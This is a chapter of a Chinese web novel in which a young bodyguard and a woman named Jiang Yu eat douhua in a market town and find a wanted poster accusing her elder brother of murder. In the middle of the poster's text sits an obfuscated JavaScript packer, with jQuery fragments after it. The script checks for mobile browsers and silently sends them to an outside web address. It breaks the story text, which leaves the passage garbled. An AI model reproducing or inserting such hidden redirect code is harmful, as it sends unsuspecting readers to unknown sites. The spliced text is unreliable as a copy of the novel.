7. 通缉令

作品:《捡的暗卫要以身相许

    李牧也摇摇头,翻开书本说:“我前先也读过一点。”


    江玉似乎是没听见,趴着睡着了。


    隔壁客舍传来嘻嘻哈哈的笑声,李牧也盯着书页,看来看去看不进一个字。


    这几日天气转暖,李牧也却总觉得她这样睡着一定会着凉,来来回回出门叫人添了好几次炭火。江玉睡得很熟,脸颊因暖意泛着淡淡的红。头顶的小布帽掉在床板上,头上盘着的乌发随着她的呼吸慢慢地全部散开了。


    李牧也盯着她看了一会儿,又移开视线,指尖无意识地摸索着书页边缘。


    他本是被雍王派往江南查案的。


    任务很简单,只需要盯住一个叫王富贵的富商,查清他与朝中哪些人有勾结,近日有没有和漕帮私盐贩子来往。


    可事实比他预想的复杂得多。


    王富贵死得太快,线索断得很干净。


    可是,为什么?


    他自幼被雍王养在身边,到如今已经整整十九年。雍王垂垂老矣,早已子孙满堂,儿女绕膝。但李牧也从记事起就是他最懂事的孩子。


    雍王给了他另一条命,给他吃穿,让他在学堂和各位公子小姐们一起读书。他整日习武练功,没有一天懈怠。


    只有做得比别人更好,才能继续留在他身边。


    他是王府里最年轻,最锋利的那把刃。怎么可能就这样被来路不明的刺客逼入绝境?他险些丢了命,消失在那个大雪纷纷的长夜。


    恐怕对方也是王室中人。


    如今夺嫡之争愈发激烈,雍王忠心耿耿,为当今圣上鞠躬尽瘁几十载,所至之处必然联系着关系储位传承的重大线索。


    恐怕是自己行事时不慎暴露行踪,这才成为众矢之的。


    事到如今,他更不能主动传信,以免打草惊蛇。等到了贡州,和王府探子接了头再做打算。


    李牧也倚靠在窗边闭目养神,船头忽然调转了个不小的角度,他被晃得踉跄了几步,好在他及时伸出手扶住了床沿,这才没有摔倒。


    平躺在床上的江玉对船体晃动浑然不觉,只以为被他吵醒,说:“李牧也!你做事怎么总是一惊一乍的。”


    “......”


    其实他也怀疑,是不是被冻了一晚上脑子冻坏了,整个人稀里糊涂的。


    江玉有些生气地看着他,拨开脸上沾着口水的头发,腰酸背痛地坐了起来。


    她环顾四周,发现这间客舍除了自己躺着的小木榻外没有其他任何地方可以歇脚。连唯一一个可以坐的木箱也被小白霸占了。


    让人家坐在地板上也太不合适了。江玉拍拍自己腿边的空位,说:“你坐这里吧。”


    然后往里挪了挪,又转身睡去了。


    李牧也选择盘腿坐在地上,肩膀靠着床和墙壁的夹角处。


    这下就很稳了。


    .


    乌桕帆徐徐垂落,跳板“吱呀”一声搭上了青石埠头。江玉和小白快步走下船,李牧也拎着包袱在后头跟着。


    两人穿过熙熙攘攘的人群,在一家豆花铺子边停下。


    江玉娴熟地叫了两碗豆花,往自己碗里添了几朵咸菜,埋头认真品尝起来。


    李牧也坐在小凳子上有些局促,腿脚根本伸不开。


    江玉见他囫囵两下就把豆花吃了大半,颇有些不满:“你都没尝到味。”


    她往对方碗里瞧去,里面竟然什么都没放!


    “你怎么不加咸菜!”


    李牧也抬头对上江玉惊讶的眼神,说:“我吃不惯太咸。”


    “那也不能吃淡豆花呀。”江玉觉得他那半碗豆花算是白吃了,他吃得那样快,却还是慢条斯理的样子,显不出一点狼狈。


    江玉想起小时候第一次吃豆花的时候。豆花里散着几段小葱,摆在桌上像一块比她脸还大的淡黄色铜镜,滋滋返着光。她被那香气馋得不行,抄起勺子就埋进热气里吃了起来。


    只一口就被烫得龇牙咧嘴,哇哇哭了起来。


    刘超那时候脸上还没长麻子呢,拍着二哥哈哈大笑。刘越这才看到江玉被烫得通红的嘴,赶忙起身去要水。


    大哥二哥,现在也不知脱身没有。


    她马上回过神来,制止了李牧也再次捧起豆花的动作:“等等!你加点糖试试呢。”


    李牧也疑惑:“豆花里能加糖吗?”


    “当然能了!”她说着就向掌柜的买了一小碟糖,递给李牧也:“你试试?”


    李牧也半信半疑地将糖撒在剩下半碗豆花上,舀了一口。


    真好吃。


    江玉见他眼神微变,得意地捧着脸笑起来。


    “好吃吧。”


    “嗯,好吃。”


    雍王府里的人好像都不爱吃豆花,他从未见他们吃过。只有一次起了个大早出府办事,跟着小厮吃了碗咸豆花。


    芥菜陷在后槽牙缝里,难受了一天。


    贡州的天气没有那么湿冷,江玉吃完一碗豆花,额头上冒出一层细细的汗珠。


    两人一前一后在街上走走停停,小白不见了踪影。


    “小白不见了。”李牧也快步上前拉了拉江玉的衣角,说。


    江玉正在小摊上买枣糕,扭头见李牧也满脸担心的样子,笑了起来:“没事呀,他玩一会儿后会找过来的。”


    李牧也这才收回手不说话了。


    “这位娘子,我看还是当心些好。”老板把枣糕递给江玉,同样担忧地说,“这几日人贩子猖獗,小孩子走丢了就不好了。”


    江玉呛了一口,忙说:“不是不是,一只狸猫而已。”


    老板一听自己误会了,这才放心下来,笑眯眯地说:“哎呀,我真是糊涂了,二位瞧着这么年轻,哪儿能有满地跑的娃娃呢,哈哈哈哈。”


    江玉听她笑得开怀,这话题一开怕是没完没了,于是干脆附和了两句,拉着李牧也就走了。


    这条街上全是商贩,原想着走快些能早些找个地方歇脚,却不知怎得越走越挤。


    两人走出了街,眼前的告示栏前站满了人。江玉缩着身子挤到前头一看,一张熟悉的人脸画像贴在上头,脸颊边被盖了一个大大的刑部朱印,旁边被人潦草地写上了几行小字。


    “刘超,男,年廿三,原平江府长洲县漕丁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541724|171004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。面白带淡斑,有赤痣生于左眉,操淮扬口音。


    住址:长洲县大柳树巷


    亲属:父刘大勇


    附注:该犯二月初一晚,杀长洲县王富贵后多次逃窜,行迹狡猾恶劣。现今逃逸至本县,有见者报官,赏银五十两;擒获者,赏银二百两。”


    江玉盯着“刘超”二字,耳畔一阵嗡鸣。脑子里浮现出那天在王富贵家门口,大哥带着镣铐被压着走的样子。


    潮水般的悔意涌上眼眶,终于把寄生在她肺腑里的担忧裹挟走,凝成两行泪滑落。


    十年了,大哥从来没出过错。


    她被人推搡,一个没站稳,趔趄着摔了一跤。李牧也不知何时已经站在身边,扶起她后轻轻拍走了她身上的尘土。


    “看着点!”旁边的汉子刚朝着江玉骂去,只见李牧也挡在江玉身前,看都没看他一眼:“麻烦让一让。”


    那汉子马上不说话了,装作无事发生。


    “快散开!官爷查案!”


    身后传来马蹄声,人群陆续向两边退去。李牧也拽着江玉退到茶幌下,将她挡在了身后。


    八骑黑马踏尘而来,为首之人披风翻卷,露出内里赭红官服。


    竟是提刑官亲临。李牧也皱了皱眉,这品级的官员断不会为普通凶杀案出巡。


    两人草草看了一眼,迅速转身离开。


    江玉听着后头提刑官的声音越来越小,心脏的砰砰声却越来越清晰。两人大步流星走进一间客栈,迅速上了楼掩上门窗。


    江玉坐在小凳上猛灌一口茶水,恨恨地用袖子抹了下嘴:“这些个狗官!”


    李牧也揭开左肩的缠布换药,房间里弥漫出一阵血腥味。他见江玉没有嫌弃的样子,安心处理起伤口。


    “无凭无据,哪有这么做官的。”江玉又倒满了茶盏,猛喝一口。


    李牧也不出声,静静地看着她快要把一壶茶水喝完。


    过了好久,江玉终于递了一盏给他喝。


    李牧也接过,这才说话:“王富贵惨死,提刑使亲自查案,你大哥怕是难以逃脱。”


    江玉表示明白,听出他还有后半句未说完,补充道:“我和大哥二哥从小在杨叔身边长大,他虽做事鲁莽了些,但绝不会蠢到光天化日之下孤身去杀一个富商。况且我救下你前王富贵就已经死了,第三日我还在王家门口见到他,如若真是他,那狗爹养的提刑官早在那日抓到他就把他斩首示众了!断不会留他这么久的!”


    李牧也疑惑地看了她一眼,说:“你怎么就知道他一定会被斩首,而不是被带回去好生拷打一番,问出个来龙去脉再做打算呢?”


    江玉听这话有些巧合的熟悉,怔了一下又继续说道:“哼,你并非市井中人,去哪里晓得这些鸡毛蒜皮的事。四日前他抓到个私盐贩子,二话不说就给斩了,你怎么不问问那时候他为何不把人提走好好审一番呢?”


    李牧也一听这话,不再慢慢引导着她的情绪,忙说:“私盐贩子?从何处抓到的?”


    江玉想了想,说:“就那日,衙役到处搜人,你却躲在粪堆里鬼鬼祟祟,我以为是来抓你的呢。”